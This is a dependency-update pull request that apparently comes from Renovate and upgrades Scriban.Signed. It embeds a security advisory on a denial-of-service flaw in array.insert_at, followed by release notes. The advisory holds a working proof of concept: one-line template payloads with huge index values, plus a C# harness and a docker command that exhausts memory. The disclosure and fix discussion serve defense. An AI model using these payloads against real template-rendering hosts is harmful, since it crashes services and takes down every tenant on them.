chore(deps): update dependency scriban.signed to v7 [security] #131

Closed
renovate wants to merge 1 commits from renovate/nuget-scriban.signed-vulnerability into main
Collaborator

This PR contains the following updates:

Package Change Age Confidence
Scriban.Signed (source) 6.5.2 → 7.2.0 age confidence

Scriban: array.insert_at index parameter DoS bypasses LoopLimit and LimitToString

GHSA-24c8-4792-22hx

More information

Details

Summary

ArrayFunctions.InsertAt in Scriban allocates index - list.Count null entries in a tight C# for loop with no bound on index. The function is exposed to template authors as array.insert_at, and the fill loop ignores every existing safety control: LoopLimit, LimitToString, ObjectRecursionLimit, and RecursiveLimit. A single template such as {{ [1] | array.insert_at 200000000 'x' | array.size }} causes OutOfMemoryException in well under a second on a host with 1 GB of memory, even when LoopLimit is set to 10 and LimitToString is set to 100. Because OutOfMemoryException is generally not caught by the template renderer or by typical host applications, the vulnerability terminates the host process, not just the template.

This is a sibling vector to GHSA-xw6w-9jjh-p9cr / GHSA-c875-h985-hvrc / GHSA-v66j-x4hw-fv9g, which patched comparable unbounded primitives in string * int, array.size, array.join, string.pad_left, and string.pad_right. The 7.0.0 hardening pass (dde661d "Apply LoopLimit to internal iteration paths" and 4227fde "Harden string padding width limits") swept the equivalent loops in ArrayFunctions and StringFunctions but missed InsertAt.

Details

Reproducible in 7.1.0 (latest tag) and on master at c8094b0.

src/Scriban/Functions/ArrayFunctions.cs:369-386:

public static IEnumerable InsertAt(IEnumerable? list, int index, object? value)
{
    if (index < 0)
    {
        index = 0;
    }

    var array = list is null ? new ScriptArray() : new ScriptArray(list);
    // Make sure that the list has already inserted elements before the index
    for (int i = array.Count; i < index; i++)
    {
        array.Add(null);            // <-- unbounded fill, no StepLoop, no Limit*
    }

    array.Insert(index, value);

    return array;
}

The function is registered as the template builtin array.insert_at (array.fmt-cs and the standard ArrayFunctions ScriptObject reflection registration). It is invoked from a template like [1] | array.insert_at 999999999 "x".

Three properties combine to make this exploitable:

  1. There is no context-aware overload. Comparable amplification primitives in this same file received a (TemplateContext, SourceSpan, ...) overload that calls StepLoop per iteration (AddRange, Compact, Concat, Last, Limit, Offset, Reverse, Size, Sort, Uniq, Contains, Each, Filter, Join, Map, Any -- see commit dde661d). InsertAt was not given that treatment. The single IEnumerable, int, object signature is what the engine resolves to, so no host configuration changes its behaviour.

  2. The loop itself never consults context.LoopLimit, context.LimitToString, context.RecursiveLimit, or context.ObjectRecursionLimit. There is no upstream call into context.StepLoop, context.CheckAbort, or any guard. With index = 200_000_000, the C# loop calls ScriptArray.Add(null) 200 million times on a List<object> whose capacity doubles geometrically; the JIT-compiled tight loop reaches the .NET array allocator faster than the GC can keep up.

  3. OutOfMemoryException is the actual failure mode. Per Microsoft, OutOfMemoryException and friends are not reliably catchable by user code in production CLR runtimes; even when they are caught, large background allocations and triggered GC cycles leave the process in a degraded state. In the PoC below, the renderer wraps the OOM in a ScriptRuntimeException because the underlying allocation lands inside the renderer's try block, but on hosts that allocate the array slightly differently (e.g. tighter memory cap, server GC, or higher index value than the host has memory for) the bare OutOfMemoryException propagates and crashes the AppDomain.

The pattern that matches the existing fixes is to add a context-aware overload that validates index against LoopLimit (or LimitToString for the resulting array footprint) before the fill loop runs, and to mark the unsafe overload [ScriptMemberIgnore]:

[ScriptMemberIgnore]
public static IEnumerable InsertAt(IEnumerable list, int index, object value) { /* current body */ }

public static IEnumerable InsertAt(TemplateContext context, SourceSpan span, IEnumerable list, int index, object value)
{
    if (index < 0) index = 0;
    if (context.LoopLimit > 0 && index > context.LoopLimit)
    {
        throw new ScriptRuntimeException(span,
            $"array.insert_at index `{index}` exceeds LoopLimit `{context.LoopLimit}`.");
    }
    return InsertAt(list, index, value);
}

Same pattern as ArrayFunctions.AddRange, Compact, Concat, Last, Limit, etc., introduced by dde661d, and as StringFunctions.PadLeft/PadRight introduced by 4227fde.

PoC

Standalone .NET 9 console app referencing Scriban 7.1.0 from NuGet.

poc.csproj:

<Project Sdk="Microsoft.NET.Sdk">
  <PropertyGroup>
    <OutputType>Exe</OutputType>
    <TargetFramework>net9.0</TargetFramework>
  </PropertyGroup>
  <ItemGroup>
    <PackageReference Include="Scriban" Version="7.1.0" />
  </ItemGroup>
</Project>

Program.cs:

using System;
using System.Diagnostics;
using Scriban;

class Program
{
    static void Run(string title, string template, int loopLimit, int limitToString, int timeoutSec)
    {
        Console.WriteLine($"\n=== {title} ===");
        var ctx = new TemplateContext { LoopLimit = loopLimit, LimitToString = limitToString };
        var tpl = Template.Parse(template);
        var sw = Stopwatch.StartNew();
        try
        {
            var task = System.Threading.Tasks.Task.Run(() => tpl.Render(ctx));
            if (!task.Wait(TimeSpan.FromSeconds(timeoutSec)))
            {
                Console.WriteLine($"  TIMEOUT after {timeoutSec}s -- DoS confirmed");
                return;
            }
            Console.WriteLine($"  output={task.Result?.Length} chars in {sw.Elapsed.TotalSeconds:F2}s");
        }
        catch (AggregateException ex)
        {
            Console.WriteLine($"  EXCEPTION ({sw.Elapsed.TotalSeconds:F2}s): {ex.InnerException?.GetType().Name}: " +
                              $"{ex.InnerException?.Message?.Split('\n')[0]}");
        }
    }

    static void Main()
    {
        // Baseline: small index renders normally.
        Run("baseline",
            "{{ ([1] | array.insert_at 5 'x' | array.size) }}",
            loopLimit: 1000, limitToString: 1048576, timeoutSec: 5);

        // Exploit: 200M index. LoopLimit=10 and LimitToString=100 do NOT protect.
        Run("DoS via array.insert_at index=200_000_000",
            "{{ [1] | array.insert_at 200000000 'x' | array.size }}",
            loopLimit: 10, limitToString: 100, timeoutSec: 30);

        // Exploit: int.MaxValue.
        Run("DoS via array.insert_at index=int.MaxValue",
            "{{ [1] | array.insert_at 2147483647 'x' | array.size }}",
            loopLimit: 10, limitToString: 100, timeoutSec: 15);
    }
}

Build and run inside a memory-capped Docker container so the OOM is actual, not theoretical:

docker run --rm -v "$PWD":/app -w /app -m 1g mcr.microsoft.com/dotnet/sdk:9.0 \
    dotnet run -c Release

Observed output:

=== baseline ===
  output=1 chars in 0.01s

=== DoS via array.insert_at index=200_000_000 ===
  EXCEPTION (0.68s): ScriptRuntimeException: <input>(1,10) : error : Exception of type 'System.OutOfMemoryException' was thrown.

=== DoS via array.insert_at index=int.MaxValue ===
  EXCEPTION (0.52s): ScriptRuntimeException: <input>(1,10) : error : Exception of type 'System.OutOfMemoryException' was thrown.

Two observations:

  • The exploit triggers in roughly 600 ms inside a 1 GB container. Increasing the host memory simply moves the OOM threshold; the malicious template still wedges the process for the duration of the allocation and the resulting GC pressure, which is itself a denial of service even when the OOM is suppressed.
  • Setting LoopLimit = 10 and LimitToString = 100 (effectively the most paranoid tuning a host could pick) makes no difference. The fill loop is in compiled C#, never goes through StepLoop, and the result is a ScriptArray, not a string, so LimitToString is never consulted.
Impact

Denial of service against any host that renders attacker-controlled or attacker-influenced Scriban templates. This includes the canonical Scriban use cases the README itself lists -- email templating, report templating, in-CMS templating, and Statiq-style static site generators where the template content is part of the data ingested. A single one-line template payload is enough to either OOM the process outright (when the host gives the renderer enough memory headroom for the loop to actually finish) or to wedge the process for tens of seconds while the allocator and GC fight (when memory is tight). On ASP.NET hosts using app.UseScriban-style middleware or background workers running per-tenant templates, the OOM terminates the entire process, taking down all tenants.

Severity is consistent with the four DoS GHSAs already published against Scriban (GHSA-xw6w-9jjh-p9cr High 7.5, GHSA-c875-h985-hvrc High 7.5, GHSA-v66j-x4hw-fv9g High 7.5, GHSA-m2p3-hwv5-xpqw High 7.5). The attack vector, complexity, and impact are identical: network reachable, low complexity, no privileges, no user interaction, full availability impact, no confidentiality or integrity impact. CVSS 4.0 vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N (High, 8.7).

Severity

  • CVSS Score: 8.7 / 10 (High)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


Release Notes

scriban/scriban (Scriban.Signed)

v7.2.0

Compare Source

Changes

🐛 Bug Fixes

🧰 Misc

Full Changelog: 7.1.0...7.2.0

Published with dotnet-releaser

v7.1.0

Compare Source

Changes

🐛 Bug Fixes

  • Fix System.Text.Json to use 9.0.14 instead (Fixes #​668) (41e9491)

🧰 Misc

Full Changelog: 7.0.6...7.1.0

Published with dotnet-releaser

v7.0.6

Compare Source

Changes

🐛 Bug Fixes

🧰 Misc

  • Document TemplateContext runtime controls (32ce64c)
  • Use GitHub alerts in documentation (5946a93)
  • Remove H1 headings from site docs (73895d3)

Full Changelog: 7.0.5...7.0.6

Published with dotnet-releaser

v7.0.5

Compare Source

Changes

🐛 Bug Fixes

  • Fix include indentation after newline (60ab0d9)

Full Changelog: 7.0.4...7.0.5

Published with dotnet-releaser

v7.0.4

Compare Source

Changes

🧰 Misc

  • Remove duplicated runtime attributes (e8b19f6)

Full Changelog: 7.0.3...7.0.4

Published with dotnet-releaser

v7.0.3

Compare Source

Changes

🐛 Bug Fixes

  • Fix IsPackable for CheckSourceEmbedded.csproj (3f49de5)

Full Changelog: 7.0.2...7.0.3

Published with dotnet-releaser

v7.0.2

Compare Source

v7.0.1

Compare Source

v7.0.0

Compare Source

Changes

✨ New Features

  • Add security tests for untested protection paths (570466a)
  • Add AOT/trimming compatibility (#​656) (a58550f)
  • Add nullable support (e5f6950)
  • Add public comments to generated visitor code (035db9a)

🐛 Bug Fixes

  • Fix TemplateLoader doc reference (7327154)
  • Fix delegate optional defaults (a12cd0b)
  • Fix null-conditional indexers (e4693e7)
  • Fix AsyncCodeGen solution lookup (d56dc4e)
  • Fix pipe argument docs (4cb135a)
  • Fix generator execution after nullable support (de47d8a)
  • Fix Scriban.props and ci (ebfc405)
  • Fix NU5129 as no-warning (25d148a)

🧰 Maintenance

🧰 Misc

  • Remove changelog.md (8939dde)
  • Harden string padding width limits (4227fde)
  • Bound object.to_json recursion and cycles (760dc21)
  • Enforce parser depth for array initializers (f55280a)
  • Clear include cache on TemplateContext.Reset (099cb04)
  • Reset typed accessor cache with MemberFilter changes (8180fb6)
  • Enforce cumulative output size limits (9856321)
  • Harden expression evaluation resource bounds (2d01bd1)
  • Apply LoopLimit to internal iteration paths (dde661d)
  • Sync builtin overload docs with DocGen (b6c65c7)
  • Disable STJ for source-embedded builds (9abb65b)
  • Enforce LimitToString in string Append, Prepend, Replace, ReplaceFirst (d384108)
  • Await async model members (ecca082)
  • Update follow-up plan (2f99ca6)
  • Make array.sort stable (b357166)
  • Support dotted array.sort paths (1df80f7)
  • Finalize follow-up plan (3ec006c)
  • Remove completed issue plan (8557aad)
  • Update deps (3f08079)
  • Change LexerOptions / ParserOptions to record (0c22917)
  • Remove Nustache (f2ea38f)
  • Update readme (b3f915e)

Full Changelog: 6.6.0...7.0.0

Published with dotnet-releaser

v6.6.0

Compare Source

Changes

✨ New Features

🐛 Bug Fixes

  • Fix JsonElement support for netstandard (8894352)

🧰 Misc

Full Changelog: 6.5.8...6.6.0

Published with dotnet-releaser

v6.5.8

Compare Source

Changes

🚀 Enhancements

🧰 Misc

Full Changelog: 6.5.7...6.5.8

Published with dotnet-releaser

v6.5.7

Compare Source

Changes

🚀 Enhancements

Full Changelog: 6.5.6...6.5.7

Published with dotnet-releaser

v6.5.6

Compare Source

Changes

🐛 Bug Fixes

🧰 Misc

Full Changelog: 6.5.5...6.5.6

Published with dotnet-releaser

v6.5.5

Compare Source

Changes

🐛 Bug Fixes

Full Changelog: 6.5.4...6.5.5

Published with dotnet-releaser

v6.5.4

Compare Source

Changes

✨ New Features

  • Add instructions (6ccb65f)
  • Add site (f9afab3)
  • Add Scriban.AppService playground backend (b1072d7)
  • Add social banner (11cbaca)
  • Add ScriptArray.From() static factory method (4b3f041)

🐛 Bug Fixes

  • fix date.parse test with 'Z' not working if local timezone > UTC+03:00 (PR #​642) by @​meld-cp

📚 Documentation

  • Add doc for runtime by splitting existing doc (ce0a2b6)

🧰 Misc

  • include template - Named array args don't stay as arrays in the template (PR #​641) by @​meld-cp
  • Redirect Try out links to site playground, support URL parameters (0592e64)
  • Update readme for the online demo (5b9f511)
  • Use dark theme (18331e9)

Full Changelog: 6.5.3...6.5.4

Published with dotnet-releaser

v6.5.3

Compare Source

Changes

🐛 Bug Fixes

  • Fix setting variable in a scope while it is also declared in an outer scope (577e2d4)

📦 Dependencies

🧰 Misc

  • Update date.now in tests for 2026 (f00a6bb)

Full Changelog: 6.5.2...6.5.3

Published with dotnet-releaser


Configuration

📅 Schedule: (in timezone Europe/Brussels)

  • Branch creation
    • At any time (no schedule defined)
  • Automerge
    • At any time (no schedule defined)

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR has been generated by Mend Renovate.

This PR contains the following updates: | Package | Change | [Age](https://docs.renovatebot.com/merge-confidence/) | [Confidence](https://docs.renovatebot.com/merge-confidence/) | |---|---|---|---| | [Scriban.Signed](https://scriban.github.io/) ([source](https://github.com/scriban/scriban)) | `6.5.2` → `7.2.0` | ![age](https://developer.mend.io/api/mc/badges/age/nuget/Scriban.Signed/7.2.0?slim=true) | ![confidence](https://developer.mend.io/api/mc/badges/confidence/nuget/Scriban.Signed/6.5.2/7.2.0?slim=true) | --- ### Scriban: array.insert_at index parameter DoS bypasses LoopLimit and LimitToString [GHSA-24c8-4792-22hx](https://github.com/advisories/GHSA-24c8-4792-22hx) <details> <summary>More information</summary> #### Details ##### Summary `ArrayFunctions.InsertAt` in Scriban allocates `index - list.Count` null entries in a tight C# `for` loop with no bound on `index`. The function is exposed to template authors as `array.insert_at`, and the fill loop ignores every existing safety control: `LoopLimit`, `LimitToString`, `ObjectRecursionLimit`, and `RecursiveLimit`. A single template such as `{{ [1] | array.insert_at 200000000 'x' | array.size }}` causes `OutOfMemoryException` in well under a second on a host with 1 GB of memory, even when `LoopLimit` is set to `10` and `LimitToString` is set to `100`. Because `OutOfMemoryException` is generally not caught by the template renderer or by typical host applications, the vulnerability terminates the host process, not just the template. This is a sibling vector to GHSA-xw6w-9jjh-p9cr / GHSA-c875-h985-hvrc / GHSA-v66j-x4hw-fv9g, which patched comparable unbounded primitives in `string * int`, `array.size`, `array.join`, `string.pad_left`, and `string.pad_right`. The 7.0.0 hardening pass (`dde661d` "Apply LoopLimit to internal iteration paths" and `4227fde` "Harden string padding width limits") swept the equivalent loops in `ArrayFunctions` and `StringFunctions` but missed `InsertAt`. ##### Details Reproducible in 7.1.0 (latest tag) and on `master` at `c8094b0`. `src/Scriban/Functions/ArrayFunctions.cs:369-386`: ```csharp public static IEnumerable InsertAt(IEnumerable? list, int index, object? value) { if (index < 0) { index = 0; } var array = list is null ? new ScriptArray() : new ScriptArray(list); // Make sure that the list has already inserted elements before the index for (int i = array.Count; i < index; i++) { array.Add(null); // <-- unbounded fill, no StepLoop, no Limit* } array.Insert(index, value); return array; } ``` The function is registered as the template builtin `array.insert_at` (`array.fmt-cs` and the standard `ArrayFunctions` ScriptObject reflection registration). It is invoked from a template like `[1] | array.insert_at 999999999 "x"`. Three properties combine to make this exploitable: 1. There is no context-aware overload. Comparable amplification primitives in this same file received a `(TemplateContext, SourceSpan, ...)` overload that calls `StepLoop` per iteration (`AddRange`, `Compact`, `Concat`, `Last`, `Limit`, `Offset`, `Reverse`, `Size`, `Sort`, `Uniq`, `Contains`, `Each`, `Filter`, `Join`, `Map`, `Any` -- see commit `dde661d`). `InsertAt` was not given that treatment. The single `IEnumerable, int, object` signature is what the engine resolves to, so no host configuration changes its behaviour. 2. The loop itself never consults `context.LoopLimit`, `context.LimitToString`, `context.RecursiveLimit`, or `context.ObjectRecursionLimit`. There is no upstream call into `context.StepLoop`, `context.CheckAbort`, or any guard. With `index = 200_000_000`, the C# loop calls `ScriptArray.Add(null)` 200 million times on a `List<object>` whose capacity doubles geometrically; the JIT-compiled tight loop reaches the .NET array allocator faster than the GC can keep up. 3. `OutOfMemoryException` is the actual failure mode. Per Microsoft, `OutOfMemoryException` and friends are not reliably catchable by user code in production CLR runtimes; even when they are caught, large background allocations and triggered GC cycles leave the process in a degraded state. In the PoC below, the renderer wraps the OOM in a `ScriptRuntimeException` because the underlying allocation lands inside the renderer's try block, but on hosts that allocate the array slightly differently (e.g. tighter memory cap, server GC, or higher index value than the host has memory for) the bare `OutOfMemoryException` propagates and crashes the AppDomain. The pattern that matches the existing fixes is to add a context-aware overload that validates `index` against `LoopLimit` (or `LimitToString` for the resulting array footprint) before the fill loop runs, and to mark the unsafe overload `[ScriptMemberIgnore]`: ```csharp [ScriptMemberIgnore] public static IEnumerable InsertAt(IEnumerable list, int index, object value) { /* current body */ } public static IEnumerable InsertAt(TemplateContext context, SourceSpan span, IEnumerable list, int index, object value) { if (index < 0) index = 0; if (context.LoopLimit > 0 && index > context.LoopLimit) { throw new ScriptRuntimeException(span, $"array.insert_at index `{index}` exceeds LoopLimit `{context.LoopLimit}`."); } return InsertAt(list, index, value); } ``` Same pattern as `ArrayFunctions.AddRange`, `Compact`, `Concat`, `Last`, `Limit`, etc., introduced by `dde661d`, and as `StringFunctions.PadLeft`/`PadRight` introduced by `4227fde`. ##### PoC Standalone .NET 9 console app referencing `Scriban` 7.1.0 from NuGet. `poc.csproj`: ```xml <Project Sdk="Microsoft.NET.Sdk"> <PropertyGroup> <OutputType>Exe</OutputType> <TargetFramework>net9.0</TargetFramework> </PropertyGroup> <ItemGroup> <PackageReference Include="Scriban" Version="7.1.0" /> </ItemGroup> </Project> ``` `Program.cs`: ```csharp using System; using System.Diagnostics; using Scriban; class Program { static void Run(string title, string template, int loopLimit, int limitToString, int timeoutSec) { Console.WriteLine($"\n=== {title} ==="); var ctx = new TemplateContext { LoopLimit = loopLimit, LimitToString = limitToString }; var tpl = Template.Parse(template); var sw = Stopwatch.StartNew(); try { var task = System.Threading.Tasks.Task.Run(() => tpl.Render(ctx)); if (!task.Wait(TimeSpan.FromSeconds(timeoutSec))) { Console.WriteLine($" TIMEOUT after {timeoutSec}s -- DoS confirmed"); return; } Console.WriteLine($" output={task.Result?.Length} chars in {sw.Elapsed.TotalSeconds:F2}s"); } catch (AggregateException ex) { Console.WriteLine($" EXCEPTION ({sw.Elapsed.TotalSeconds:F2}s): {ex.InnerException?.GetType().Name}: " + $"{ex.InnerException?.Message?.Split('\n')[0]}"); } } static void Main() { // Baseline: small index renders normally. Run("baseline", "{{ ([1] | array.insert_at 5 'x' | array.size) }}", loopLimit: 1000, limitToString: 1048576, timeoutSec: 5); // Exploit: 200M index. LoopLimit=10 and LimitToString=100 do NOT protect. Run("DoS via array.insert_at index=200_000_000", "{{ [1] | array.insert_at 200000000 'x' | array.size }}", loopLimit: 10, limitToString: 100, timeoutSec: 30); // Exploit: int.MaxValue. Run("DoS via array.insert_at index=int.MaxValue", "{{ [1] | array.insert_at 2147483647 'x' | array.size }}", loopLimit: 10, limitToString: 100, timeoutSec: 15); } } ``` Build and run inside a memory-capped Docker container so the OOM is actual, not theoretical: ```bash docker run --rm -v "$PWD":/app -w /app -m 1g mcr.microsoft.com/dotnet/sdk:9.0 \ dotnet run -c Release ``` Observed output: ``` === baseline === output=1 chars in 0.01s === DoS via array.insert_at index=200_000_000 === EXCEPTION (0.68s): ScriptRuntimeException: <input>(1,10) : error : Exception of type 'System.OutOfMemoryException' was thrown. === DoS via array.insert_at index=int.MaxValue === EXCEPTION (0.52s): ScriptRuntimeException: <input>(1,10) : error : Exception of type 'System.OutOfMemoryException' was thrown. ``` Two observations: - The exploit triggers in roughly 600 ms inside a 1 GB container. Increasing the host memory simply moves the OOM threshold; the malicious template still wedges the process for the duration of the allocation and the resulting GC pressure, which is itself a denial of service even when the OOM is suppressed. - Setting `LoopLimit = 10` and `LimitToString = 100` (effectively the most paranoid tuning a host could pick) makes no difference. The fill loop is in compiled C#, never goes through `StepLoop`, and the result is a `ScriptArray`, not a string, so `LimitToString` is never consulted. ##### Impact Denial of service against any host that renders attacker-controlled or attacker-influenced Scriban templates. This includes the canonical Scriban use cases the README itself lists -- email templating, report templating, in-CMS templating, and Statiq-style static site generators where the template content is part of the data ingested. A single one-line template payload is enough to either OOM the process outright (when the host gives the renderer enough memory headroom for the loop to actually finish) or to wedge the process for tens of seconds while the allocator and GC fight (when memory is tight). On ASP.NET hosts using `app.UseScriban`-style middleware or background workers running per-tenant templates, the OOM terminates the entire process, taking down all tenants. Severity is consistent with the four DoS GHSAs already published against Scriban (`GHSA-xw6w-9jjh-p9cr` High 7.5, `GHSA-c875-h985-hvrc` High 7.5, `GHSA-v66j-x4hw-fv9g` High 7.5, `GHSA-m2p3-hwv5-xpqw` High 7.5). The attack vector, complexity, and impact are identical: network reachable, low complexity, no privileges, no user interaction, full availability impact, no confidentiality or integrity impact. CVSS 4.0 vector: `CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N` (High, 8.7). #### Severity - CVSS Score: 8.7 / 10 (High) - Vector String: `CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N` #### References - [https://github.com/scriban/scriban/security/advisories/GHSA-24c8-4792-22hx](https://github.com/scriban/scriban/security/advisories/GHSA-24c8-4792-22hx) - [https://github.com/scriban/scriban](https://github.com/scriban/scriban) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-24c8-4792-22hx) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Release Notes <details> <summary>scriban/scriban (Scriban.Signed)</summary> ### [`v7.2.0`](https://github.com/scriban/scriban/releases/tag/7.2.0) [Compare Source](https://github.com/scriban/scriban/compare/7.1.0...7.2.0) ### Changes #### 🐛 Bug Fixes - Fix readme with source embedding ([#&#8203;671](https://github.com/scriban/scriban/issues/671)) ([`c8094b0`](https://github.com/scriban/scriban/commit/c8094b09)) #### 🧰 Misc - Merge commit from fork ([`7fdf19d`](https://github.com/scriban/scriban/commit/7fdf19df)) **Full Changelog**: [7.1.0...7.2.0](https://github.com/scriban/scriban/compare/7.1.0...7.2.0) <sub>Published with [dotnet-releaser](https://github.com/xoofx/dotnet-releaser/)</sub> ### [`v7.1.0`](https://github.com/scriban/scriban/releases/tag/7.1.0) [Compare Source](https://github.com/scriban/scriban/compare/7.0.6...7.1.0) ### Changes #### 🐛 Bug Fixes - Fix System.Text.Json to use 9.0.14 instead (Fixes [#&#8203;668](https://github.com/scriban/scriban/issues/668)) ([`41e9491`](https://github.com/scriban/scriban/commit/41e94911)) #### 🧰 Misc - Added DateTime.UtcNow Support (PR [#&#8203;667](https://github.com/scriban/scriban/issues/667)) by [@&#8203;boslandj](https://github.com/boslandj) **Full Changelog**: [7.0.6...7.1.0](https://github.com/scriban/scriban/compare/7.0.6...7.1.0) <sub>Published with [dotnet-releaser](https://github.com/xoofx/dotnet-releaser/)</sub> ### [`v7.0.6`](https://github.com/scriban/scriban/releases/tag/7.0.6) [Compare Source](https://github.com/scriban/scriban/compare/7.0.5...7.0.6) ### Changes #### 🐛 Bug Fixes - Fix runtime polyfills ([#&#8203;665](https://github.com/scriban/scriban/issues/665)) ([`37f226a`](https://github.com/scriban/scriban/commit/37f226ac)) #### 🧰 Misc - Document TemplateContext runtime controls ([`32ce64c`](https://github.com/scriban/scriban/commit/32ce64cd)) - Use GitHub alerts in documentation ([`5946a93`](https://github.com/scriban/scriban/commit/5946a931)) - Remove H1 headings from site docs ([`73895d3`](https://github.com/scriban/scriban/commit/73895d33)) **Full Changelog**: [7.0.5...7.0.6](https://github.com/scriban/scriban/compare/7.0.5...7.0.6) <sub>Published with [dotnet-releaser](https://github.com/xoofx/dotnet-releaser/)</sub> ### [`v7.0.5`](https://github.com/scriban/scriban/releases/tag/7.0.5) [Compare Source](https://github.com/scriban/scriban/compare/7.0.4...7.0.5) ### Changes #### 🐛 Bug Fixes - Fix include indentation after newline ([`60ab0d9`](https://github.com/scriban/scriban/commit/60ab0d94)) **Full Changelog**: [7.0.4...7.0.5](https://github.com/scriban/scriban/compare/7.0.4...7.0.5) <sub>Published with [dotnet-releaser](https://github.com/xoofx/dotnet-releaser/)</sub> ### [`v7.0.4`](https://github.com/scriban/scriban/releases/tag/7.0.4) [Compare Source](https://github.com/scriban/scriban/compare/7.0.3...7.0.4) ### Changes #### 🧰 Misc - Remove duplicated runtime attributes ([`e8b19f6`](https://github.com/scriban/scriban/commit/e8b19f66)) **Full Changelog**: [7.0.3...7.0.4](https://github.com/scriban/scriban/compare/7.0.3...7.0.4) <sub>Published with [dotnet-releaser](https://github.com/xoofx/dotnet-releaser/)</sub> ### [`v7.0.3`](https://github.com/scriban/scriban/releases/tag/7.0.3) [Compare Source](https://github.com/scriban/scriban/compare/7.0.2...7.0.3) ### Changes #### 🐛 Bug Fixes - Fix IsPackable for CheckSourceEmbedded.csproj ([`3f49de5`](https://github.com/scriban/scriban/commit/3f49de50)) **Full Changelog**: [7.0.2...7.0.3](https://github.com/scriban/scriban/compare/7.0.2...7.0.3) <sub>Published with [dotnet-releaser](https://github.com/xoofx/dotnet-releaser/)</sub> ### [`v7.0.2`](https://github.com/scriban/scriban/compare/7.0.1...7.0.2) [Compare Source](https://github.com/scriban/scriban/compare/7.0.1...7.0.2) ### [`v7.0.1`](https://github.com/scriban/scriban/compare/7.0.0...7.0.1) [Compare Source](https://github.com/scriban/scriban/compare/7.0.0...7.0.1) ### [`v7.0.0`](https://github.com/scriban/scriban/releases/tag/7.0.0) [Compare Source](https://github.com/scriban/scriban/compare/6.6.0...7.0.0) ### Changes #### ✨ New Features - Add security tests for untested protection paths ([`570466a`](https://github.com/scriban/scriban/commit/570466a4)) - Add AOT/trimming compatibility ([#&#8203;656](https://github.com/scriban/scriban/issues/656)) ([`a58550f`](https://github.com/scriban/scriban/commit/a58550f1)) - Add nullable support ([`e5f6950`](https://github.com/scriban/scriban/commit/e5f6950f)) - Add public comments to generated visitor code ([`035db9a`](https://github.com/scriban/scriban/commit/035db9a3)) #### 🐛 Bug Fixes - Fix TemplateLoader doc reference ([`7327154`](https://github.com/scriban/scriban/commit/73271543)) - Fix delegate optional defaults ([`a12cd0b`](https://github.com/scriban/scriban/commit/a12cd0ba)) - Fix null-conditional indexers ([`e4693e7`](https://github.com/scriban/scriban/commit/e4693e77)) - Fix AsyncCodeGen solution lookup ([`d56dc4e`](https://github.com/scriban/scriban/commit/d56dc4e1)) - Fix pipe argument docs ([`4cb135a`](https://github.com/scriban/scriban/commit/4cb135ab)) - Fix generator execution after nullable support ([`de47d8a`](https://github.com/scriban/scriban/commit/de47d8ad)) - Fix Scriban.props and ci ([`ebfc405`](https://github.com/scriban/scriban/commit/ebfc4054)) - Fix NU5129 as no-warning ([`25d148a`](https://github.com/scriban/scriban/commit/25d148a1)) #### 🧰 Maintenance - Update ci ([`bafc1b5`](https://github.com/scriban/scriban/commit/bafc1b5b)) #### 🧰 Misc - Remove changelog.md ([`8939dde`](https://github.com/scriban/scriban/commit/8939dde5)) - Harden string padding width limits ([`4227fde`](https://github.com/scriban/scriban/commit/4227fdee)) - Bound object.to\_json recursion and cycles ([`760dc21`](https://github.com/scriban/scriban/commit/760dc212)) - Enforce parser depth for array initializers ([`f55280a`](https://github.com/scriban/scriban/commit/f55280a0)) - Clear include cache on TemplateContext.Reset ([`099cb04`](https://github.com/scriban/scriban/commit/099cb049)) - Reset typed accessor cache with MemberFilter changes ([`8180fb6`](https://github.com/scriban/scriban/commit/8180fb6c)) - Enforce cumulative output size limits ([`9856321`](https://github.com/scriban/scriban/commit/98563216)) - Harden expression evaluation resource bounds ([`2d01bd1`](https://github.com/scriban/scriban/commit/2d01bd15)) - Apply LoopLimit to internal iteration paths ([`dde661d`](https://github.com/scriban/scriban/commit/dde661d3)) - Sync builtin overload docs with DocGen ([`b6c65c7`](https://github.com/scriban/scriban/commit/b6c65c79)) - Disable STJ for source-embedded builds ([`9abb65b`](https://github.com/scriban/scriban/commit/9abb65bb)) - Enforce LimitToString in string Append, Prepend, Replace, ReplaceFirst ([`d384108`](https://github.com/scriban/scriban/commit/d3841086)) - Await async model members ([`ecca082`](https://github.com/scriban/scriban/commit/ecca082b)) - Update follow-up plan ([`2f99ca6`](https://github.com/scriban/scriban/commit/2f99ca64)) - Make array.sort stable ([`b357166`](https://github.com/scriban/scriban/commit/b3571666)) - Support dotted array.sort paths ([`1df80f7`](https://github.com/scriban/scriban/commit/1df80f77)) - Finalize follow-up plan ([`3ec006c`](https://github.com/scriban/scriban/commit/3ec006c9)) - Remove completed issue plan ([`8557aad`](https://github.com/scriban/scriban/commit/8557aadf)) - Update deps ([`3f08079`](https://github.com/scriban/scriban/commit/3f080790)) - Change LexerOptions / ParserOptions to record ([`0c22917`](https://github.com/scriban/scriban/commit/0c229175)) - Remove Nustache ([`f2ea38f`](https://github.com/scriban/scriban/commit/f2ea38fa)) - Update readme ([`b3f915e`](https://github.com/scriban/scriban/commit/b3f915e5)) **Full Changelog**: [6.6.0...7.0.0](https://github.com/scriban/scriban/compare/6.6.0...7.0.0) <sub>Published with [dotnet-releaser](https://github.com/xoofx/dotnet-releaser/)</sub> ### [`v6.6.0`](https://github.com/scriban/scriban/releases/tag/6.6.0) [Compare Source](https://github.com/scriban/scriban/compare/6.5.8...6.6.0) ### Changes #### ✨ New Features - Add missing async generated code ([`8d23abb`](https://github.com/scriban/scriban/commit/8d23abb0)) - Add limits for default safety ([`b5ac4bf`](https://github.com/scriban/scriban/commit/b5ac4bf3)) by 